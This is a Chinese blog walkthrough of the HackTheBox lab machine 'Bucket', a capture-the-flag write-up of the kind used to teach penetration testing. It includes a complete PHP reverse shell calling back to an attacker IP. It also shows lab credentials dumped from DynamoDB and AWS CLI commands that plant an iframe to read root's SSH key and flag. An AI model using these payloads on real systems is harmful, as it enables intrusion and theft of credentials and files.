文章归档

置顶文章

Web安全

Web安全基础

PHP相关

Writeups

靶机系列

HackTheBox-Retired

HackTheBox-Active

VulnHub

代码审计

PHP代码审计

大数据安全

机器学习

基础学习

Python

Python基础

Python安全

Java

Java基础

Java安全

算法

Leetcode

随笔

经验

技术

 2021-04-11   1.8k

HackTheBox Bucket Walkthrough

0x01 Info Card

0x02 Tools and Tips

  • nmap
  • AWS S3
  • AWS DynamoDB
  • linPEAS

0x03 Pentesting

Gaining Foothold

nmap

1
2
3
4
5
6
7
8
9
10
11
12
Nmap scan report for bucket.htb (10.10.10.212)
Host is up (0.069s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open http Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).

80端口

很明显有图片没有加载出来:

把子域名加入hosts中:

用dirsearch扫描子域名s3.bucket.htb的目录:

http://s3.bucket.htb/health

http://s3.bucket.htb/shell/

好家伙,靶机运行了AWS S3服务(简单云存储服务),还有一个NoSQL数据库DynamoDB。

在做这个靶机之前需要对S3和DynamoDB比较熟悉:

AWS S3文档:https://docs.aws.amazon.com/zh_cn/AmazonS3/latest/userguide/Welcome.html

AWS DynamoDB文档:https://docs.aws.amazon.com/zh_cn/amazondynamodb/latest/developerguide/Introduction.html

阿里云OSS存储和亚马逊S3作用很类似。

网页端的DynamoDB JavaScript Shell用起来不方便,可以用AWS Cli命令,Mac下直接用pip install awscli命令安装。

首先列出远程数据库中的表

有一个users表:

查看这个表的结构:

使用scan搜索users表中的所有数据:

有三个登录凭证:

1
2
3
Mgmt [email protected]#[email protected]#
Cloudadm Welcome123!
Sysadm n2vM-<_K_Q:.Aa2

又扫了一圈主域名下的路径没能找到登录页面,看来还是得从AWS S3入手。网上搜了一圈关于AWS S3渗透的文章,下面这一篇安全客的投稿给了我思路:

https://www.anquanke.com/post/id/86927

这个靶机的Bucket可能存在未授权访问或半公开访问漏洞,搞起。

没毛病,既然可以列出、读取文件,那么就可以写入文件到index.html同目录下。

先生成一个PHP Reverse Shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
  <?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 [email protected]

set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.14.6'; // You have changed this
$port = 4444; // And this
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();

if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}

if ($pid) {
exit(0); // Parent exits
}

// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}

$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}

// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}

// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}

// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}

// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}

// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string
";
}
}

?>

上传成功,本地监听4444端口:

Privilege Escalation

Get User

查看用户组:

有一个roy用户,结合之前从DynamoDB拿到的三个密码,拿到roy的SSH会话:

Get Root

上传提权脚本LinPEAS.sh,提取到两个重要信息:

本地监听8000端口:

有一个index.php文件

用curl访问8000端口返回的HTML页面恰好是index.php文件内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
require 'vendor/autoload.php';
use Aws\DynamoDb\DynamoDbClient;
if($_SERVER["REQUEST_METHOD"]==="POST") {
if($_POST["action"]==="get_alerts") {
date_default_timezone_set('America/New_York');
$client = new DynamoDbClient([
'profile' => 'default',
'region' => 'us-east-1',
'version' => 'latest',
'endpoint' => 'http://localhost:4566'
]);

$iterator = $client->getIterator('Scan', array(
'TableName' => 'alerts',
'FilterExpression' => "title = :title",
'ExpressionAttributeValues' => array(":title"=>array("S"=>"Ransomware")),
));

foreach ($iterator as $item) {
$name=rand(1,10000).'.html';
file_put_contents('files/'.$name,$item["data"]);
}
passthru("java -Xmx512m -Djava.awt.headless=true -cp pd4ml_demo.jar Pd4Cmd file:///var/www/bucket-app/files/$name 800 A4 -out files/result.pdf");
}
}
else
{
?>

PHP文件首先接收action参数,然后新建一个DynamoDB客户端,通过Scan API搜索表名为alerts,字段titleRansomware的记录项,并把每个记录项的data字段写入一个HTML文件,文件名随机,最后用pd4ml_demo.jar把HTML文件解析成PDF文件并存储在files文件夹下,最重要的是,这些步骤都是在root权限下运行。

那么我就可以在本机向靶机的AWS DynamoDB新建一个表,然后将data的内容写成一个HTML语句,使用iframe标签读取本地内容,最后拿到root权限。

创建表

1
2
3
4
5
6
7
8
9
10
aws dynamodb create-table \
--table-name alerts \
--attribute-definitions \
AttributeName=title,AttributeType=S \
AttributeName=data,AttributeType=S \
--key-schema \
AttributeName=title,KeyType=HASH \
AttributeName=data,KeyType=RANGE \
--provisioned-throughput \
ReadCapacityUnits=10,WriteCapacityUnits=5 --endpoint-url http://s3.bucket.htb

写入数据:

1
2
3
4
5
6
7
aws dynamodb put-item \
--table-name alerts \
--item '{
"title": {"S": "Ransomware"},
"data": {"S": "<html><head></head><body><iframe src='/root/.ssh/id_rsa'></iframe></body></html>"}
}' \
--return-consumed-capacity TOTAL --endpoint-url http://s3.bucket.htb

靶机上访问:

1
curl --data "action=get_alerts" http://127.0.0.1:8000/index.php

然后用scp命令把靶机上的result.php下载到本机:

1
scp [email protected]$bucket.htb://var/www/bucket-app/files/result.pdf ./

这四个步骤一定要快,靶机好像每隔一段时间会重置。

另外,不知道为什么,下载下来的id_rsa用来连接SSH的时候会报id_rsa format error的错误。只能直接把root.txt文件download下来。

1
2
3
4
5
6
7
aws dynamodb put-item \
--table-name alerts \
--item '{
"title": {"S": "Ransomware"},
"data": {"S": "<html><head></head><body><iframe src='/root/root.txt'></iframe></body></html>"}
}' \
--return-consumed-capacity TOTAL --endpoint-url http://s3.bucket.htb
Copyright © ca01h 2019-2021 | 本站总访问量